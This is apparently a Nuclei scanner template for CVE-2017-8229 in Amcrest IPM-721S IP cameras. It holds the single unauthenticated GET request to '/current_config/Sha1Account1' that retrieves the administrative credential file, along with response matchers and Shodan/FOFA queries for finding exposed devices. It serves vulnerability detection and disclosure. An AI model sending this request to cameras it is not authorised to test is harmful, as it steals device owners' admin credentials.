id: CVE-2017-8229

info:
  name: Amcrest IP Camera Web Management - Data Exposure
  author: pussycat0x
  severity: critical
  description: |
    Amcrest IPM-721S V2.420.AC00.16.R.20160909 devices allow an unauthenticated attacker to download the administrative credentials.
  impact: |
    An attacker can gain unauthorized access to sensitive data.
  remediation: |
    Apply the latest firmware update provided by the vendor to fix the vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2017-8229
    - http://packetstormsecurity.com/files/153224/Amcrest-IPM-721S-Credential-Disclosure-Privilege-Escalation.html
    - https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Amcrest_sec_issues.pdf
    - https://seclists.org/bugtraq/2019/Jun/8
    - https://github.com/d4n-sec/d4n-sec.github.io
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2017-8229
    cwe-id: CWE-255
    epss-score: 0.73773
    epss-percentile: 0.9941
    cpe: cpe:2.3:o:amcrest:ipm-721s_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: amcrest
    product: ipm-721s_firmware
    shodan-query:
      - html:"Amcrest"
      - http.html:"amcrest"
    fofa-query:
      - "Amcrest"
      - amcrest
      - body="amcrest"
  tags: cve2017,cve,packetstorm,seclists,amcrest,iot,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/current_config/Sha1Account1"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "DevInformation"
          - "SerialID"
        condition: and

      - type: word
        part: header
        words:
          - "application/octet-stream"

      - type: status
        status:
          - 200
# digest: 490a0046304402201e92ffe6cb4af0324d8eb6799c51ae9f9904221342a067fc9f03b19c73ccf7f8022071574cf6f16df517f73e155f77e361ae8d03e6461ef07e47659d8f8c2702440f:922c64590222798bb761d5b6d8e72950